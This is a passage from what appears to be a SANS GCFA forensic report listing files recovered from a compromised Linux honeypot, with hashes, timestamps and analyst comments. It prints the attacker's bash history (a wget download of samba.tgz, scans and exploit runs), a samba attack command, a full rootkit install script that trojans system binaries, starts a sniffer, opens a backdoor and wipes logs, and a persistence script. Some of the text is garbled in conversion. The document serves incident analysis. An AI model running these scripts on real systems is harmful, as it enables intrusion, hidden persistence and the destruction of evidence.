62) Name: com-ons.o
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.o
   Entry Modified: 06/29/03 03:32:50PM
   Last Accessed: 06/29/03 03:32:50PM
   Last Written: 08/27/01 02:00:22PM
   Hash Value: 1f39ee4b22d6e67cae4269eccfeda55e
   Physical Size: 92,160
   Logical Size: 91,656

63) Name: commands.c
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.c
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/27/01 07:15:16AM
Hash Value a1b52263b8a66d7c90fc549ef70230c4
Physical Size 41,984
Logical Size 41,966

64) Name commands.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:26PM
Hash Value 8ab8813b5d0f080b7aead258c9ffc958
Physical Size 109,568
Logical Size 109,244

65) Name gencmd
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\gencmd
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:18PM
Hash Value 6f929c94c8a39954c7099b73c42ebf65
Physical Size 56,320
Logical Size 55,666

66) Name dcc.c
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\dcc.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value e079886945868cdbd4a5e4952b4cbb0
Physical Size 10,240
Logical Size 9,929

67) Name defines.h
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\defines.h
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value 854b211a185d795497cc0a21c7778249
Physical Size 5,120
Logical Size 4,508

68) Name debug.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\debug.o
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

Page 242

Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:28PM
Hash Value eb3e3d5dadd0e19b6b69a9e24ff790b2
Physical Size 64,512
Logical Size 64,160

69) Name link.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\X11-pipe\src\link.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:32PM
Hash Value 95dfe25136edb84b2c53ee8353761a23
Physical Size 97,280
Logical Size 96,896

70) Name global.h
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\X11-pipe\src\global.h
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/26/01 06:12:04PM
Hash Value 07eac92b41b11fc50b02468748b5fdd8
Physical Size 47,104
Logical Size 46,547

71) Name link.c
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\X11-pipe\src\link.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value 07eac92b41b11fc50b02468748b5fdd8
Physical Size 9,216
Logical Size 8,983

72) Name gencmd.c
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\X11-pipe\src\gencmd.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value 07eac92b41b11fc50b02468748b5fdd8
Physical Size 9,216
Logical Size 8,983

73) Name parse.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\X11-pipe\src\parse.o
Entry Modified 06/29/03 03:32:50PM
### 74) Name: `cfgfile.c`
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\cfgfile.c
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 02/26/01 06:14:22PM
- **Hash Value:** ee752441cd67aec374e1d77ab4630977
- **Physical Size:** 17,408
- **Logical Size:** 16,951

### 75) Name: `cfgfile.o`
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\cfgfile.o
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 08/27/01 02:00:20PM
- **Hash Value:** 0a445c0fa05cf6b6d3c4af0fc99ece2
- **Physical Size:** 71,680
- **Logical Size:** 71,392

### 76) Name: `socket.c`
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\socket.c
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 10/09/00 06:22:02PM
- **Hash Value:** b47201862975f1ee5b7879658822cdf1
- **Physical Size:** 11,264
- **Logical Size:** 10,616

### 77) Name: `services`
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\inetd\services
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 03/15/02 07:27:40PM
- **Hash Value:** a964f156ab911428a2ae6e8349842f13
- **Physical Size:** 475,136
- **Logical Size:** 474,596

### 78) Name: `userlist.o`
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\userlist.o
### EnCase Computer Analysis Report

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:36PM</td>
<td>2e7bbdad4579b0c5b9609ad1be0ed02f</td>
<td>74,752</td>
<td>74,592</td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 06:28:20AM</td>
<td>de3238096016c1c151d99126cb6b4a95</td>
<td>5,120</td>
<td>5,001</td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>57bdcdba9d9126a49472d85485bae729</td>
<td>10,240</td>
<td>10,190</td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:38PM</td>
<td>43ca3fc3c7b56e00c75677de8ed6c43</td>
<td>86,016</td>
<td>85,984</td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 01:50:36PM</td>
<td>b0154c6a0911fcbbe31669c9d756753</td>
<td>3,072</td>
<td>3,020</td>
</tr>
</tbody>
</table>

#### 79) Name: usage.h
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\usage.h
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 02/27/01 06:28:20AM
- **Hash Value:** de3238096016c1c151d99126cb6b4a95
- **Physical Size:** 5,120
- **Logical Size:** 5,001

#### 80) Name: vars.c
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\vars.c
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 10/09/00 06:22:02PM
- **Hash Value:** 57bdcdba9d9126a49472d85485bae729
- **Physical Size:** 10,240
- **Logical Size:** 10,190

#### 81) Name: xmech.o
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\xmech.o
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 08/27/01 02:00:38PM
- **Hash Value:** 43ca3fc3c7b56e00c75677de8ed6c43
- **Physical Size:** 86,016
- **Logical Size:** 85,984

#### 82) Name: Makefile
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\Makefile
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 08/27/01 01:50:36PM
- **Hash Value:** b0154c6a0911fcbbe31669c9d756753
- **Physical Size:** 3,072
- **Logical Size:** 3,020

#### 83) Name: solo
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\samba\solo
- **Entry Modified:** 06/29/03 03:41:56PM
Comment: This is an attack script from the samba.tgz file.

```
./samba -v -p $3 -d 300000 -C 99 -b $2 $1
```

84) Name  .bash_history  
Description  File  
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\root\.bash_history  
Entry Modified  06/29/03 05:21:44PM  
Last Accessed  06/30/03 04:50:00PM  
Last Written  06/29/03 05:21:44PM  
Hash Value  da617ff22a9bdf3508ada5a86d10217e  
Physical Size  3,072  
Logical Size  2,477  

Comment: Bash history file from root. Shows commands correlating with sebek output.

```
unset HISTFILES  
cd /tmp  
ls -al  
dir -al  
rm -rf .s  
rmdir r  
mc  
ps ax  
killall -9 cp chmod  
ps ax  
kill -9 19504 19508  
ps ax  
cd /bin  
mkdir .EhT  
cd /tmp  
cd .font-test  
wget XXX.XXX.com/eladoht/samba.tgz  
tar -zxvf samba.tgz  
cd samba  
ifconfig  
./samba -d 0 -S 192.168.2.*  
./samba -d 0 -S XXX.XXX.5.*  
nmap  
nmap XXX.XXX.42.58  
./sys XXX.XXX.42.58  
./sys XXX.XXX.42.58  
whereis  
netstat -a  
netstat  
./samba -d 0 -S XXX.XXX.42.*  
nmap XXX.XXX.49.137  
./sys XXX.XXX.49.137  
./sys XXX.XXX.49.137  
./sys XXX.XXX.49.137  
./sys XXX.XXX.49.137  
./sys XXX.XXX.49.137  
./sys XXX.XXX.49.137  
./samba -d 0 -S XXX.XXX.54.*  
nmap XXX.XXX.59.235  
nmap XXX.XXX.61.126  
./sys XXX.XXX.61.126
```
85) Name  weit  
Description  File  
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/ usr/bin/weit  
Entry Modified  06/29/03 03:22:10PM  
Last Accessed  06/29/03 03:22:10PM  
Last Written  03/24/02 07:23:19PM  
Hash Value  2b008592a46a5a52008ba46a27116833  
Physical Size  24,576  
Logical Size  20,914  
Comment: Root kit files  

*s.tar.gz files – infected with Linux RST.B Virus*  
Files from s.tar.gz  
These file are from the s.tar.gz archive. The files are trojan executable files. They include a sniffer file (linsniffer), an sshd backdoor and install script for the tools. All executable files are virus infected with the Linux RST.B virus  
(http://www.sophos.com/virusinfo/analyses/linuxrstb.htm 1).  

86) Name  install  
Description  File  
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/ tmp/s/install  
Entry Modified  06/29/03 03:22:08PM  
Last Accessed  06/29/03 03:25:21PM  
Last Written  03/24/03 09:37:31PM  
Hash Value  5ab9ac0a738a778c85f553738f3869d
Comment: Here is the install script from the s.tar.gz file.

#!/bin/sh

# This is the install script from the s.tar.gz file.

cl="." [0m"
cyn="." [36m"
wht="." [37m"
hblk="." [1;30m"
hgrn="." [1;32m"
hcyn="." [1;36m"
hwht="." [1;37m"
hred="." [1;31m"
unset HISTFILE

PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin:
""'/usr/local/sbin:/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin:""'""'/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:
""'/root/bin:/usr/local/bin:

""'/etc/rc.d/init.d/sshd /etc/rc.d/init.d/syslog /etc/rc.d/init.d/functions >>install.log 2>&1

chattr -iau /usr/local/sbin/sshd /usr/sbin/sshd /bin/ps /bin/netstat /bin/ls /usr/bin/du /usr/bin/find >>install.log 2>&1

chattr -iau /usr/bin/pstree /usr/bin/killall /usr/bin/top /usr/bin/diff >>install.log 2>&1

/etc/rc.d/init.d/syslog stop >>install.log 2>&1

killall -9 portmap 2>>install.log

rm -f ../*.tgz 2>>install.log

if [ ! -d /etc/rc.d/init.d ] || [ ! -d /etc/rc.d/rc0.d ]; then
    echo "${cl}${hred}Argh!! .. SysV init not found${cl}${wht}"
    echo "${cl}${hred}Installation aborted.${cl}${wht}" >>install.log
    /etc/rc.d/init.d/syslog start >>install.log 2>&1
    exit 1
fi

if [ ! -d /etc/rc.d/init.d ]; then
    mv -f /bin/ps /bin/mps >>install.log 2>&1
    mv -f /bin/.ps /bin/.mps >>install.log 2>&1
    if [ ! "$(2>&1 ./ps >/dev/null)" ]; then
        echo "PS -- OK" >>install.log
    else
        echo "PS --> OK" >>install.log
    fi
fi

sleep 1

echo "$(cl)$[hblk]|$(cl)$[hred]= $(cl)$[hwht]Installing trojaned programs$(cl)$[wht]"
echo "$(cl)$[hred]|$(cl)$[hblk]-$(cl)$[wht]|ps" >>install.log

if [ ! "$(2>&1 ./ps >/dev/null)" ]; then
    if [ ! -x /bin/mps ]; then
        mv -f /bin/ps /bin/mps >>install.log 2>&1
        if [ ! -x /bin/.ps ]; then
            mv -f /bin/.ps /bin/.mps >>install.log 2>&1
        fi
    fi
fi

cp -f ps /bin >>install.log 2>&1
if [ -x /bin/.ps ]; then
    cp -f ps /bin/.ps >>install.log 2>&1
fi

echo "PS --> OK" >>install.log

else
    echo "$(cl)$[hred] *** failed ***$(cl)$[wht]"
EnCase Computer Analysis Report

Sans GCFA Cert Assignment/EnCase Computer Analysis Report Page 248

```bash
echo "PS ---> failed" >>install.log
fi

if [ ! -d /usr/include/rpcsvc ]; then
    mkdir -p /usr/include/rpcsvc >>install.log 2>&1
fi

echo "$(cl)$(hred)$(cl)$(hblk)--$(cl)$(wht)top" >>install.log
if [ ! -x /usr/bin/mtop ]; then
    mv -f /usr/bin/top /usr/bin/mtop >>install.log 2>&1
    cp -f top /usr/bin/ >>install.log 2>&1
    echo "TOP -- OK" >>install.log
else
    echo "$(cl)$(hred) *** failed ***$(cl)$(wht)*
    echo "TOP -- failed" >>install.log
fi

echo "$(cl)$(hred)$(cl)$(hblk)--$(cl)$(wht)pstree*" >>install.log
if [ ! "$(2>&1 ./pstree >/dev/null)" ]; then
    if [ ! -x /usr/bin/mpstree ]; then
        mv -f /usr/bin/pstree /usr/bin/mpstree >>install.log 2>&1
    fi
    cp -f pstree /usr/bin >>install.log 2>&1
    echo "PSTREE -- OK" >>install.log
else
    echo "$(cl)$(hred) *** failed ***$(cl)$(wht)*
    echo "PSTREE -- failed" >>install.log
fi

echo "$(cl)$(hred)$(cl)$(hblk)--$(cl)$(wht)killall* sh mpstree
echo "|---killall " >>install.log
if [ ! /* /dev/killer ]; then
    mv -f /usr/bin/killall /dev/killall >>install.log 2>&1
    cp -f killall /usr/bin/ >>install.log 2>&1
    echo "KILLALL -- OK" >>install.log
else
    echo "$(cl)$(hred) *** failed ***$(cl)$(wht)*
    echo "KILLALL -- failed" >>install.log
fi

echo "$(cl)$(hred)$(cl)$(hblk)------$(cl)$(wht)find* sh mpstree
echo "|------find " >>install.log
unalias ls >/dev/null 2>&1
alias ls="ls --color=tty" if [ ! "$2>&1 ./ls >/dev/null" ]; then
    if [ ! -x /bin/mls ]; then
        mv -f /bin/ls /bin/mls >>install.log 2>&1
    fi
    cp -f ls /bin/ >>install.log 2>&1
    cp -f ls /usr/bin/dir
    cp -f vdir /usr/bin
echo "alias ls="ls --color=tty""> /etc/bashrc
echo "LS DIR VDIR ---> OK" >>install.log
else
    echo "$(cl)$(hred) *** failed ***$(cl)$(wht)*
    echo "LS DIR VDIR ---> failed" >>install.log
fi

echo "$(cl)$(hred)$(cl)$(hblk)-------$(cl)$(wht)ls* sh mpstree
echo "|--------ls-dir-vdir " >>install.log
unalias ls >/dev/null 2>&1
alias ls="ls --color=tty" if [ ! "$2>&1 ./ls >/dev/null" ]; then
    if [ ! -x /bin/ls ]; then
        mv -f /bin/ls /bin/mls >>install.log 2>&1
    fi
    cp -f ls /bin/ >>install.log 2>&1
    cp -f ls /usr/bin/dir
    cp -f vdir /usr/bin
echo "alias ls="ls --color=tty""> /etc/bashrc
echo "LS DIR VDIR ---> OK" >>install.log
else
    echo "$(cl)$(hred) *** failed ***$(cl)$(wht)*
    echo "LS DIR VDIR ---> failed" >>install.log
fi

echo "$(cl)$(hred)$(cl)$(hblk)-------$(cl)$(wht)find* sh mpstree
echo "|-------find " >>install.log
if [ ! -x /usr/bin/mfind ]; then
    mv -f /usr/bin/find /usr/bin/mfind
    cp -f find /usr/bin
echo "FIND ---> OK" >>install.log
else
    echo "$(cl)$(hred) *** failed ***$(cl)$(wht)*
```

© SANS Institute 2004, Author retains full rights.
echo "FIND ---> failed" >> install.log
fi

echo "$(cl)$[hred]$(cl)$[hblk]--------$(cl)$[wht]du$" 
echo "-------- du " >> install.log
if [ ! "$2" ]; then
  if [ ! -f /usr/include/rpcsvc/du ]; then
    mv -f /usr/bin/du /usr/include/rpcsvc/du >> install.log 2>&1
    chmod -x /usr/include/rpcsvc/du
  fi
  cp -f du /usr/bin/install.log 2>&1
  echo "DU ---> OK" >> install.log
else
  echo "$[cl]$[hred] *** failed ***$[cl]$[wht]" 
  echo "DU ---> failed" >> install.log
fi

echo "$(cl)$[hred]$(cl)$[hblk]--------$(cl)$[wht]netstat$" 
echo "|-------- $(cl)$[wht]netstat "$ >> install.log
if [ ! -x /bin/mnetstat ]; then
  mv -f /bin/netstat /bin/mnetstat >> install.log 2>&1
  cp -f netstat /bin/install.log 2>&1
  echo "NETSTAT ---> OK" >> install.log
else
  echo "$[cl]$[hred] *** failed ***$[cl]$[wht]" 
  echo "NETSTAT ---> failed" >> install.log
fi

echo "$(cl)$[hblk]|$(cl)$[hred]*********** $(cl)$[wht]Installing my port" 
cd nfsd; ./nfsd
sleep 1

echo "$(cl)$[hblk]|$(cl)$[hred]*********** $(cl)$[wht]Ok, port opened." 

echo "$(cl)$[hblk]|$(cl)$[hred]== $(cl)$[wht]Installing Utilities" 

echo "$(cl)$[hred]$(cl)$[hblk]-$(cl)$[wht] log cleaner" 
cp -f clean /usr/bin >> install.log

echo "$(cl)$[hred]$(cl)$[hblk]---$(cl)$[wht] log reader" 
cp -f sense /usr/bin >> install.log

echo "$(cl)$[hred]$(cl)$[hblk]---$(cl)$[wht] Slice2" 
cp -f dos/sl2 /usr/bin

echo "$(cl)$[hred]$(cl)$[hblk]-- $(cl)$[wht] SliceFoo" 
cp -f dos/foo /usr/bin

echo "$(cl)$[hred]$(cl)$[hblk]-- $(cl)$[wht] Stealth" 
cp dos/st /usr/bin

echo "$(cl)$[hred]$(cl)$[hblk]--- $(cl)$[wht] VadiM" 
cp dos/v /usr/bin

echo "$(cl)$[hred]$(cl)$[hblk]--- $(cl)$[wht] Setting up sniffer$(cl)$[wht]" 

if [ ! -d /dev/logs ]; then
  echo "$[cl]$[hred]$(cl)$[hblk]-- $(cl)$[wht]Creating Logs DIR" 
mkdir /dev/logs
else
  echo "$[cl]$[hred]$(cl)$[hblk]-- $(cl)$[wht]The logs dir is already present" 
  chattr -iu dev/logs
  mv -f /dev/logs /dev/dirlogs
  mkdir /dev/logs
fi

cp -f linsniffer /usr/bin/lpd >> install.log 2>&1

touch /dev/logs/tcp.log 
lpd >> /dev/logs/tcp.log &

echo "$[cl]$[hblk]$(cl)[hred]$(cl)[hblk]-- $(cl)[wht]Setting up crontab$(cl)$[wht]" 

if [ ! "$2" ]; then
  /usr/bin/crontab -r >> install.log
  echo "$[cl]$[hred]$(cl)$[hblk]-- $(cl)$[wht]CronTab Installed on user -root-$(cl)$"
else
    echo "$>({cl}$[hred]$[cl]$[hblk]-$[cl]$[hred]CronTab is already installed on user -root-$[cl]"
    echo "$>({cl}$[hred]'/usr/bin/crontab -l'-$[cl]"
    echo "{cl}$[hred]/usr/bin/crontab -l"$>({cl)"
fi
echo "$>({cl}$[hgrn]Ports Open$[cl]:$[wht]"
if [ -x /usr/sbin/lsof ]; then
    /usr/sbin/lsof|grep LISTEN
else
    /bin/netstat -a|grep LISTEN|grep tcp
fi
echo "$>({cl}$[hgrn]Checking 4 Other RootKITs$[cl]:$[wht])"
if [ -d /dev/.rd ]; then
    echo "$>({cl}$[hred]/dev/.rd$[cl]:$[wht])"
fi
if [ -d /dev/.pid ]; then
    echo "$>({cl}$[hred]/dev/.pid$[cl]:$[wht])"
fi
if [ "locate alya.cgi 2>/dev/null" ]; then
    echo "$>({cl}$[hred]/dev/alya.cgi$[cl]:$[wht])"
locate alya.cgi 2>/dev/null
fi
if [ -d /var/run/.pid ]; then
    echo "$>({cl}$[hred]/var/run/.pid$[cl]:$[wht])"
fi
if [ "locate c700 2>/dev/null" ]; then
    echo "$>({cl}$[hred]/dev/c700$[cl]:$[wht])"
locate c700 2>/dev/null|head -n 5
fi
if [ "locate zoot 2>/dev/null" ]; then
    echo "$>({cl}$[hred]/dev/zoot$[cl]:$[wht])"
locate zoot 2>/dev/null|head -n 5
fi
if [ "locate rsha 2>/dev/null|egrep -v 'marshal'" ]; then
    echo "$>({cl}$[hred]/dev/rsha$[cl]:$[wht])"
locate rsha 2>/dev/null|egrep -v marshal|head -n 5
fi
if [ "locate xper 2>/dev/null|egrep -v 'fixperm'" ]; then
    echo "$>({cl}$[hred]/dev/xper$[cl]:$[wht])"
locate xper 2>/dev/null|head -n 5
fi
if [ "locate tcp.log 2>/dev/null" ] || [ "lsof|grep tcp.log" ] || [ "locate sniffer 2>/dev/null" ]; then

EnCase Computer Analysis Report

Sans GCFA Cert Assignment

Page 251

```bash
echo "${cl}${hred}Snifferz${cl}${wht}"
echo "---------------------------------------------"
locate tcp.log 2>/dev/null
/usr/bin/lsar|grep tcp.log
locate sniffer 2>/dev/null
echo "---------------------------------------------"

fi
if [ "`locate .1proc 2>/dev/null`" ] || 
[-d /usr/src/.puta ] || 
-f /etc/ttyhash ]; then
    echo "${cl}${hred}Possible TK${cl}${wht}"
echo "----------------------"

locate .1proc 2>/dev/null
echo "---------------------------------------------"

fi
if [ "`locate adore 2>/dev/null`" ]; then
    echo "${cl}${hred}Possible adore lkm${cl}${wht}"
echo "----------------------------------

locate adore 2>/dev/null
echo "---------------------------------------------"

fi
if [ "`locate psybnc 2>/dev/null`" ]; then
    echo "${cl}${hred}grr.. a FucKing PsyBNC still around${cl}${wht}"
echo "-----------------------------

locate psybnc 2>/dev/null|head -n 20
echo "---------------------------------------------"

fi
if [ "`locate mech 2>/dev/null|grep -v 'listmech'`" ]; then
    echo "${cl}${hred}grr.. a fucking mech still around${cl}${wht}"
echo "---------------------------------------------

locate mech 2>/dev/null|grep -v 'listmech'|head -n 20
echo "---------------------------------------------"

fi
if [ "`locate eggdrop 2>/dev/null`" ]; then
    echo "${cl}${hred}grr.. a fucking egg still around${cl}${wht}"
echo "---------------------------------------------

locate eggdrop 2>/dev/null|head -n 40
echo "---------------------------------------------"

fi
if [ "`ps -ax|grep "/\"|grep -v grep|grep -v install\"" ]; then
    echo "${cl}${hred}Suspect Processes:${cl}${wht}"
echo "---------------------------------------------

ps -ax|grep "/\"|grep -v grep|grep -v install
```

```bash
echo "${cl}${hred}/dev filez:${cl}${wht}"
echo ==
find /dev -type f|grep -v MADEDEV|grep -v ttyo|grep -v hds|grep -v killer|grep -v logs
```

```bash
/etc/rc.d/init.d/syslog start >>install.log 2>&1
echo >/var/log/messages
echo >/var/log/boot.log
echo >/var/log/cron
echo >/var/log/secure
echo >/var/log/maillog
chattr +i /etc/rc.d/init.d/syslog /etc/rc.d/init.d/functions >>install.log 2>&1
chattr +i /usr/bin/ps /bin/ps /bin/netstat /bin/ls /usr/bin/du /usr/bin/find >>install.log 2>&1
chattr +i /usr/bin/pstree /usr/bin/killall /usr/bin/top /usr/bin/dir /usr/bin/vdir >>install.log 2>&1
#chattr +i /usr/local/sbin/sshd /usr/sbin/sshd /dev/killer >>install.log 2>&1
```

```bash
```

```bash
echo " Na hai sa ne pisam pe iei-;)
unset cl cyn wht hblk hgrn hcyw hwht hred
exit 0
```
```
### EnCase Computer Analysis Report

Sans GCFA Cert Assignment

#### 87) Name: install.log
- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\install.log
- **Entry Modified**: 06/29/03 03:25:20PM
- **Last Accessed**: 06/29/03 03:25:20PM
- **Last Written**: 06/29/03 03:25:20PM
- **Hash Value**: 65025494af2c14aeb979024429159fb8
- **Physical Size**: 1,024
- **Logical Size**: 510

#### 88) Name: .1addr
- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\1addr
- **Entry Modified**: 06/29/03 03:11:59PM
- **Last Accessed**: 06/29/03 03:25:20PM
- **Last Written**: 11/26/02 09:50:52PM
- **Hash Value**: ad46a56a4269f47eb407ac56d18cd955
- **Physical Size**: 1,024
- **Logical Size**: 32

#### 89) Name: .1logz
- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\1logz
- **Entry Modified**: 06/29/03 03:11:59PM
- **Last Accessed**: 06/29/03 03:25:20PM
- **Last Written**: 12/29/02 04:32:10PM
- **Hash Value**: cf49f02b0fd5ef45625baa0e3125c878
- **Physical Size**: 1,024
- **Logical Size**: 68

#### 90) Name: clean
- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\clean
<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>06/29/03 03:22:08PM</th>
</tr>
</thead>
<tbody>
<tr>
<td>Last Accessed</td>
<td>06/29/03 03:25:20PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>02/06/02 04:26:29AM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>f9e2970e3a7682440316b6e1a2687cbe</td>
</tr>
<tr>
<td>Physical Size</td>
<td>2,048</td>
</tr>
<tr>
<td>Logical Size</td>
<td>1,250</td>
</tr>
</tbody>
</table>

93) Name  du
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\du
Entry Modified  06/29/03 03:25:20PM
Last Accessed  06/29/03 03:25:20PM
Last Written  06/29/03 03:25:20PM
Hash Value  6e60f5c0f79a3526005c11821788f73f
Physical Size  32,768
Logical Size  32,539

94) Name  du
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\du
Entry Modified  06/29/03 03:25:20PM
Last Accessed  06/29/03 03:25:20PM
Last Written  06/29/03 03:25:20PM
Hash Value  6e60f5c0f79a3526005c11821788f73f
Physical Size  32,768
Logical Size  32,539

95) Name  init.sshd
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\ssh\init.sshd
Entry Modified  06/29/03 03:11:59PM
Last Accessed  06/29/03 03:11:58PM
Last Written  02/06/02 04:31:03AM
Hash Value  b33deb29db1aed81e04816b0bd68
Physical Size  1,024
Logical Size  969

96) Name  killall
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\killall
Entry Modified  06/29/03 03:25:20PM
Last Accessed  06/29/03 03:25:20PM
Last Written  06/29/03 03:25:20PM
Hash Value  db9c510fad6c3c398fd1b0850d0c0b8
Physical Size  19,456
Logical Size  19,291

97) Name  killall
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\killall
Entry Modified  06/29/03 03:25:20PM
Last Accessed  06/29/03 03:25:20PM
Last Written  06/29/03 03:25:20PM
Hash Value  db9c510fad6c3c398fd1b0850d0c0b8
Physical Size 19,456
Logical Size 19,291

Comment: sniffer program

98) Name mpstree
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\mpstree
Entry Modified 06/29/03 03:11:59PM
Last Accessed 06/29/03 03:25:20PM
Last Written 03/24/03 09:36:32PM
Hash Value f592011bbbf8d683f0b241eda20bf
Physical Size 1,024
Logical Size 443

Comment: This script starts p.ssh, modifies /etc/rc.d/rc.sysinit by adding a line to run weit and removes wait.

#!/bin/bash
TERM=linux
chown root.root *
./p.ssh
sleep 1
chattr -AacdisSu /etc/rc.d/rc.sysinit
rm -rf /etc/rc.d/rc.sysinit
mv /etc/rc.d/rc.sysinit.old /etc/rc.d/rc.sysinit
chmod +x /etc/rc.d/rc.sysinit
mv weit /usr/bin/weit
touch -acmr /bin/df /usr/bin/weit
chmod +x /usr/bin/weit
/usr/bin/weit

99) Name netstat
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\netstat
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value 8a6c03c19c4c93dfca31bcee94ce45da
Physical Size 39,936
Logical Size 39,399

Comment:

100) Name nfsd
